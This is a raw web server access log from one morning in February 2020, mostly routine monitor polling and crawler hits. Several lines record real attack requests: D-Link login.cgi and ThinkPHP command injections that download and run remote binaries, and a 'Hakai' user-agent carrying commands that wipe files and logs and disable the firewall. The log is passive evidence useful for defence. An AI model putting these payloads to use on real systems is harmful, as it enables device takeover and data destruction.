212.91.246.72 - - [18/Feb/2020:10:54:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.247.50.184 - - [18/Feb/2020:10:55:24 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [18/Feb/2020:10:55:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:10:56:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:10:57:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:10:58:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:10:59:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:11:00:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:11:01:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:11:02:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:11:03:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:11:04:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:11:05:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [18/Feb/2020:11:05:41 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:11:06:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:11:07:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
82.142.104.141 - - [18/Feb/2020:11:07:39 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [18/Feb/2020:11:08:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:11:09:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:11:10:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:11:11:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:11:12:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:11:13:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:11:14:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:11:15:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:11:16:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:11:17:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
186.251.231.18 - - [18/Feb/2020:11:18:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [18/Feb/2020:11:18:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.188.226.44 - - [18/Feb/2020:11:19:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
177.188.226.44 - - [18/Feb/2020:11:19:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:11:19:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.190.180.196 - - [18/Feb/2020:11:20:15 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [18/Feb/2020:11:20:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:11:21:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:11:22:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:11:23:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:11:24:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:11:25:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:11:26:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:11:27:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:11:28:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:11:29:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.194.25.119 - - [18/Feb/2020:11:29:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [18/Feb/2020:11:30:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:11:31:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
154.126.33.14 - - [18/Feb/2020:11:31:50 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
193.242.151.233 - - [18/Feb/2020:11:32:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
45.235.53.61 - - [18/Feb/2020:11:32:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:11:32:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:11:33:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
129.28.113.46 - - [18/Feb/2020:11:34:22 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
129.28.113.46 - - [18/Feb/2020:11:34:22 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
129.28.113.46 - - [18/Feb/2020:11:34:24 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
129.28.113.46 - - [18/Feb/2020:11:34:24 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
129.28.113.46 - - [18/Feb/2020:11:34:26 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
129.28.113.46 - - [18/Feb/2020:11:34:27 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
129.28.113.46 - - [18/Feb/2020:11:34:27 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
129.28.113.46 - - [18/Feb/2020:11:34:28 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
129.28.113.46 - - [18/Feb/2020:11:34:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [18/Feb/2020:11:34:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:11:35:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:11:36:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:11:37:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:11:38:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.212.90.124 - - [18/Feb/2020:11:39:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:11:39:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
122.170.14.210 - - [18/Feb/2020:11:40:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
73.32.140.239 - - [18/Feb/2020:11:40:11 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [18/Feb/2020:11:40:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.45.192.156 - - [18/Feb/2020:11:41:34 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [18/Feb/2020:11:41:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:11:42:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
134.76.251.125 - - [18/Feb/2020:11:43:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko"
134.76.251.125 - - [18/Feb/2020:11:43:09 +0100] "GET /favicon.ico HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko"
212.91.246.72 - - [18/Feb/2020:11:43:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:11:44:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.109.198.68 - - [18/Feb/2020:11:44:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:11:45:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.247.50.184 - - [18/Feb/2020:11:45:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [18/Feb/2020:11:46:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:11:47:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:11:48:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.66.47.194 - - [18/Feb/2020:11:49:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [18/Feb/2020:11:49:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:11:50:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:11:51:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:11:52:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:11:53:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:11:54:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:11:55:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:11:56:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.211.207.99 - - [18/Feb/2020:11:57:12 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [18/Feb/2020:11:57:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
80.26.154.92 - - [18/Feb/2020:11:57:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [18/Feb/2020:11:58:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:11:59:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:12:00:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:12:01:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:12:02:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:12:03:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
14.170.67.195 - - [18/Feb/2020:12:03:38 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [18/Feb/2020:12:04:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:12:05:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.105.234.47 - - [18/Feb/2020:12:05:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:12:06:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:12:07:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:12:08:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:12:09:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:12:10:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:12:11:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:12:12:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.46.45.55 - - [18/Feb/2020:12:12:54 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
51.15.191.231 - - [18/Feb/2020:12:13:06 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Barkrowler/0.9 (+https://babbar.tech/crawler)"
51.15.191.231 - - [18/Feb/2020:12:13:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Barkrowler/0.9 (+https://babbar.tech/crawler)"
212.91.246.72 - - [18/Feb/2020:12:13:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:12:14:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.14.134.10 - - [18/Feb/2020:12:14:47 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [18/Feb/2020:12:15:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:12:16:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:12:17:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:12:18:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:12:19:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.14.134.10 - - [18/Feb/2020:12:20:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [18/Feb/2020:12:20:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:12:21:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:12:22:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:12:23:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:12:24:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:12:25:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.90.13.3 - - [18/Feb/2020:12:25:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:12:26:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:12:27:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:12:28:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:12:29:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
84.63.183.41 - - [18/Feb/2020:12:30:11 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [18/Feb/2020:12:30:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
80.26.154.92 - - [18/Feb/2020:12:30:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [18/Feb/2020:12:31:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.113.106.173 - - [18/Feb/2020:12:32:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
190.94.150.168 - - [18/Feb/2020:12:32:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:12:32:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
